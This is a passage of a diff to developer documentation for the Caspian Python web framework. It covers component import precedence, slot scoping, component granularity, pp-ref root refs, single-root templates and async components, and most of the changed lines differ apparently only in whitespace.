""", children=children)
|
|
449
517
|
```
|
|
450
518
|
|
|
451
|
-
Runtime resolution precedence for an `x-*` tag inside a component's own output, lowest to highest:
|
|
452
|
-
|
|
453
|
-
- inherited components from an ancestor template
|
|
454
|
-
- the component's own Python module imports
|
|
455
|
-
- a local `<!-- @import ... -->` in that same template
|
|
456
|
-
|
|
457
|
-
So a component's Python import wins over an inherited same-name component, and an explicit local `@import` wins over both. Authoring guidance is stricter than the runtime fallback: put `@import` comments only at the top of `.html` templates, and use Python imports inside single-file `html(...)` components.
|
|
519
|
+
Runtime resolution precedence for an `x-*` tag inside a component's own output, lowest to highest:
|
|
458
520
|
|
|
459
|
-
|
|
521
|
+
- inherited components from an ancestor template
|
|
522
|
+
- the component's own Python module imports
|
|
523
|
+
- a local `<!-- @import ... -->` in that same template
|
|
524
|
+
|
|
525
|
+
So a component's Python import wins over an inherited same-name component, and an explicit local `@import` wins over both. Authoring guidance is stricter than the runtime fallback: put `@import` comments only at the top of `.html` templates, and use Python imports inside single-file `html(...)` components.
|
|
526
|
+
|
|
527
|
+
### Direct-Call Composition (Calling A Component As A Function)
|
|
460
528
|
|
|
461
529
|
A component can compose another component two ways: by writing its `<x-*>` tag, or by calling it as a plain Python function and interpolating the result with `{{ }}` (React-style). Both work, and both resolve nested `<x-*>` tags from the callee's own Python module imports.
|
|
462
530
|
|
|
@@ -485,57 +553,57 @@ Notes:
|
|
|
485
553
|
|
|
486
554
|
### Slot Content Resolves In The Parent Scope
|
|
487
555
|
|
|
488
|
-
Component tags written as slot content (children passed between a component's opening and closing tags) resolve in the scope where they were authored, not in the child component's scope. This matches slot semantics in other component systems: a `<x-tag>` written by the parent stays bound to the parent's `Tag` even when it is slotted into a child that has its own `Tag`. The component that authors a tag in markup must import that component, the same way it would for any tag it renders directly.
|
|
489
|
-
|
|
490
|
-
## Component Granularity And Responsibility
|
|
491
|
-
|
|
492
|
-
Prefer small, named components that match the responsibility a developer would expect from a React-style component tree.
|
|
493
|
-
|
|
494
|
-
Use this split before writing markup:
|
|
495
|
-
|
|
496
|
-
- Page route: owns page assembly, first-render context, and route-level workflows.
|
|
497
|
-
- Shell component: owns shared layout around a page area, such as a tab list, sidebar, toolbar frame, or dashboard section wrapper.
|
|
498
|
-
- Section component: owns one visible content area, such as an overview panel, analytics section, settings form, activity list, billing table, or user card grid.
|
|
499
|
-
- Leaf component: owns repeated or reusable details, such as cards, rows, badges, buttons with behavior, empty states, and field groups.
|
|
500
|
-
|
|
501
|
-
For example, a tabbed account page should be assembled from focused parts:
|
|
502
|
-
|
|
503
|
-
```text
|
|
504
|
-
src/components/account/
|
|
505
|
-
AccountTabs.py
|
|
506
|
-
AccountOverviewTab.py
|
|
507
|
-
AccountSecurityTab.py
|
|
508
|
-
AccountBillingTab.py
|
|
509
|
-
```
|
|
510
|
-
|
|
511
|
-
`AccountTabs.py` can own the selected tab state and render the tab controls, while each tab panel owns its own markup and receives props such as `user`, `plan`, `sessions`, or `can_edit`. This keeps PulsePoint state close to the interaction that owns it and keeps each file readable.
|
|
512
|
-
|
|
513
|
-
Do not create a single `AccountPage.py` or `DashboardTabs.py` that contains every tab, form, table, metric card, and modal just because `html(...)` makes it possible. When the file starts needing headings in comments to separate unrelated areas, those headings are usually component boundaries.
|
|
514
|
-
|
|
515
|
-
Related subcomponents may live in one Python file only when they are tiny and tightly coupled, such as `Tabs`, `TabsList`, `TabsTrigger`, and `TabsContent` primitives, or a component plus two very small private helpers. For app-specific page chunks, prefer one exported component per file with a name that explains its role.
|
|
516
|
-
|
|
517
|
-
Props are the boundary between components. Pass parent-owned data and configuration down through attributes or direct Python calls, keep local interactive state inside the component that owns the behavior, and use slot content when the parent needs to provide authored child markup. If two sibling chunks need the same server data, load it in the route's `page()` or a shared helper and pass the relevant pieces into each component.
|
|
518
|
-
|
|
519
|
-
## Component Root Refs
|
|
520
|
-
|
|
521
|
-
`pp-ref` on an `x-*` tag is a parent-owned component ref. It resolves in the scope that authored the component tag and binds to the component's rendered root DOM element. Generated component kits that accept `**props` and spread unknown attributes need no `forwardRef` wrapper and should not special-case `pp-ref`.
|
|
522
|
-
|
|
523
|
-
```html
|
|
524
|
-
<div>
|
|
525
|
-
<x-input pp-ref="{codeInput}" />
|
|
526
|
-
<button onclick="codeInput.current?.focus()">Focus code</button>
|
|
527
|
-
|
|
528
|
-
<script>
|
|
529
|
-
const codeInput = pp.ref(null);
|
|
530
|
-
</script>
|
|
531
|
-
</div>
|
|
532
|
-
```
|
|
533
|
-
|
|
534
|
-
For ref purposes, a component's root is the single native element that receives its injected `pp-component` boundary. If a composition component renders another `x-*` component as its root, Caspian forwards the ref through its layout-neutral boundary host to the eventual concrete DOM root.
|
|
535
|
-
|
|
536
|
-
The default takes precedence over catch-all `**props`: `pp-ref` is reserved for root ref forwarding and is not delivered in that dictionary. A component that intentionally wants `pp-ref` as ordinary data can opt out by declaring an explicit camel-case `ppRef` parameter, for example `def Inspector(ppRef="", **props)`. That explicit declaration consumes the prop, disables automatic root forwarding for that component invocation, and makes the component responsible for how the value is used. Use this escape hatch sparingly; ordinary UI primitives should keep the standard root-ref contract.
|
|
537
|
-
|
|
538
|
-
## Auto-Injected `pp-component` And PulsePoint Script Type
|
|
556
|
+
Component tags written as slot content (children passed between a component's opening and closing tags) resolve in the scope where they were authored, not in the child component's scope. This matches slot semantics in other component systems: a `<x-tag>` written by the parent stays bound to the parent's `Tag` even when it is slotted into a child that has its own `Tag`. The component that authors a tag in markup must import that component, the same way it would for any tag it renders directly.
|
|
557
|
+
|
|
558
|
+
## Component Granularity And Responsibility
|
|
559
|
+
|
|
560
|
+
Prefer small, named components that match the responsibility a developer would expect from a React-style component tree.
|
|
561
|
+
|
|
562
|
+
Use this split before writing markup:
|
|
563
|
+
|
|
564
|
+
- Page route: owns page assembly, first-render context, and route-level workflows.
|
|
565
|
+
- Shell component: owns shared layout around a page area, such as a tab list, sidebar, toolbar frame, or dashboard section wrapper.
|
|
566
|
+
- Section component: owns one visible content area, such as an overview panel, analytics section, settings form, activity list, billing table, or user card grid.
|
|
567
|
+
- Leaf component: owns repeated or reusable details, such as cards, rows, badges, buttons with behavior, empty states, and field groups.
|
|
568
|
+
|
|
569
|
+
For example, a tabbed account page should be assembled from focused parts:
|
|
570
|
+
|
|
571
|
+
```text
|
|
572
|
+
src/components/account/
|
|
573
|
+
AccountTabs.py
|
|
574
|
+
AccountOverviewTab.py
|
|
575
|
+
AccountSecurityTab.py
|
|
576
|
+
AccountBillingTab.py
|
|
577
|
+
```
|
|
578
|
+
|
|
579
|
+
`AccountTabs.py` can own the selected tab state and render the tab controls, while each tab panel owns its own markup and receives props such as `user`, `plan`, `sessions`, or `can_edit`. This keeps PulsePoint state close to the interaction that owns it and keeps each file readable.
|
|
580
|
+
|
|
581
|
+
Do not create a single `AccountPage.py` or `DashboardTabs.py` that contains every tab, form, table, metric card, and modal just because `html(...)` makes it possible. When the file starts needing headings in comments to separate unrelated areas, those headings are usually component boundaries.
|
|
582
|
+
|
|
583
|
+
Related subcomponents may live in one Python file only when they are tiny and tightly coupled, such as `Tabs`, `TabsList`, `TabsTrigger`, and `TabsContent` primitives, or a component plus two very small private helpers. For app-specific page chunks, prefer one exported component per file with a name that explains its role.
|
|
584
|
+
|
|
585
|
+
Props are the boundary between components. Pass parent-owned data and configuration down through attributes or direct Python calls, keep local interactive state inside the component that owns the behavior, and use slot content when the parent needs to provide authored child markup. If two sibling chunks need the same server data, load it in the route's `page()` or a shared helper and pass the relevant pieces into each component.
|
|
586
|
+
|
|
587
|
+
## Component Root Refs
|
|
588
|
+
|
|
589
|
+
`pp-ref` on an `x-*` tag is a parent-owned component ref. It resolves in the scope that authored the component tag and binds to the component's rendered root DOM element. Generated component kits that accept `**props` and spread unknown attributes need no `forwardRef` wrapper and should not special-case `pp-ref`.
|
|
590
|
+
|
|
591
|
+
```html
|
|
592
|
+
<div>
|
|
593
|
+
<x-input pp-ref="{codeInput}" />
|
|
594
|
+
<button onclick="codeInput.current?.focus()">Focus code</button>
|
|
595
|
+
|
|
596
|
+
<script>
|
|
597
|
+
const codeInput = pp.ref(null);
|
|
598
|
+
</script>
|
|
599
|
+
</div>
|
|
600
|
+
```
|
|
601
|
+
|
|
602
|
+
For ref purposes, a component's root is the single native element that receives its injected `pp-component` boundary. If a composition component renders another `x-*` component as its root, Caspian forwards the ref through its layout-neutral boundary host to the eventual concrete DOM root.
|
|
603
|
+
|
|
604
|
+
The default takes precedence over catch-all `**props`: `pp-ref` is reserved for root ref forwarding and is not delivered in that dictionary. A component that intentionally wants `pp-ref` as ordinary data can opt out by declaring an explicit camel-case `ppRef` parameter, for example `def Inspector(ppRef="", **props)`. That explicit declaration consumes the prop, disables automatic root forwarding for that component invocation, and makes the component responsible for how the value is used. Use this escape hatch sparingly; ordinary UI primitives should keep the standard root-ref contract.
|
|
605
|
+
|
|
606
|
+
## Auto-Injected `pp-component` And PulsePoint Script Type
|
|
539
607
|
|
|
540
608
|
Treat `pp-component="componentName"` and `type="text/pp"` as framework output, not authored source. The canonical authored-vs-runtime explanation lives in [pulsepoint.md](./pulsepoint.md).
|
|
541
609
|
|
|
@@ -552,7 +620,7 @@ Every component HTML template must render exactly one authored top-level parent
|
|
|
552
620
|
|
|
553
621
|
The same rule applies to route and layout templates such as `src/app/**/index.html` and `src/app/**/layout.html`. See [routing.md](./routing.md) and [pulsepoint.md](./pulsepoint.md) for the non-component versions of the same authoring contract.
|
|
554
622
|
|
|
555
|
-
Top-of-file `<!-- @import ... -->` directives are allowed before that root element and do not violate the single-root rule. They belong before the root, not inside it.
|
|
623
|
+
Top-of-file `<!-- @import ... -->` directives are allowed before that root element and do not violate the single-root rule. They belong before the root, not inside it.
|
|
556
624
|
|
|
557
625
|
In source, that parent may be a native HTML element or a single imported `x-*` component tag. After component expansion, the template must still resolve to one final native HTML root so Caspian has exactly one place to inject `pp-component`.
|
|
558
626
|
|
|
@@ -664,13 +732,13 @@ async def ProfileCard(user_id: str) -> str:
|
|
|
664
732
|
|
|
665
733
|
Keep synchronous components as the default. Switch to `async def` only when the component itself needs awaited I/O.
|
|
666
734
|
|
|
667
|
-
## Best Practices
|
|
668
|
-
|
|
669
|
-
- Put reusable components in `src/components/` and keep route files in `src/app/`.
|
|
670
|
-
- For dashboards, admin areas, account sections, and route groups with child routes, put the shared shell in the parent folder's `layout.html` and compose it from reusable components there instead of repeating the same shell in every child `index.html`.
|
|
671
|
-
- Default to a single Python file with inline `html(...)` for most focused components, including ones with PulsePoint behavior. Move to a thin Python wrapper plus a same-name `.html` template only when that focused component's markup is large or the `<script>` carries real logic. Both forms render identically, so this is a readability choice, not a capability one.
|
|
672
|
-
- Split by responsibility before switching file shapes. If a component is large because it contains several independent sections, tabs, tables, forms, or workflows, create smaller components first instead of turning it into one huge `.py` plus `.html` pair.
|
|
673
|
-
- In single-file `html(...)` components, resolve child `x-*` tags with real Python imports at the top of the `.py` module. Reserve `<!-- @import ... -->` comments for authored `.html` templates and keep those comments above the root.
|
|
735
|
+
## Best Practices
|
|
736
|
+
|
|
737
|
+
- Put reusable components in `src/components/` and keep route files in `src/app/`.
|
|
738
|
+
- For dashboards, admin areas, account sections, and route groups with child routes, put the shared shell in the parent folder's `layout.html` and compose it from reusable components there instead of repeating the same shell in every child `index.html`.
|
|
739
|
+
- Default to a single Python file with inline `html(...)` for most focused components, including ones with PulsePoint behavior. Move to a thin Python wrapper plus a same-name `.html` template only when that focused component's markup is large or the `<script>` carries real logic. Both forms render identically, so this is a readability choice, not a capability one.
|
|
740
|
+
- Split by responsibility before switching file shapes. If a component is large because it contains several independent sections, tabs, tables, forms, or workflows, create smaller components first instead of turning it into one huge `.py` plus `.html` pair.
|
|
741
|
+
- In single-file `html(...)` components, resolve child `x-*` tags with real Python imports at the top of the `.py` module. Reserve `<!-- @import ... -->` comments for authored `.html` templates and keep those comments above the root.
|
|
674
742
|
- For component clicks, inputs, menus, toggles, filters, and list updates, use PulsePoint events and directives inside the component template (inline `html(...)` or the `.html` file). Avoid manual DOM selection, manual listener setup, and manual `innerHTML` rendering unless integrating a third-party imperative widget.
|
|
675
743
|
- Keep the component file name, exported function name, and authored tag aligned, such as `Button.py`, `def Button(...)`, and `<x-button />`.
|
|
676
744
|
- Accept `children` or `**props` when the component should support nested content.
|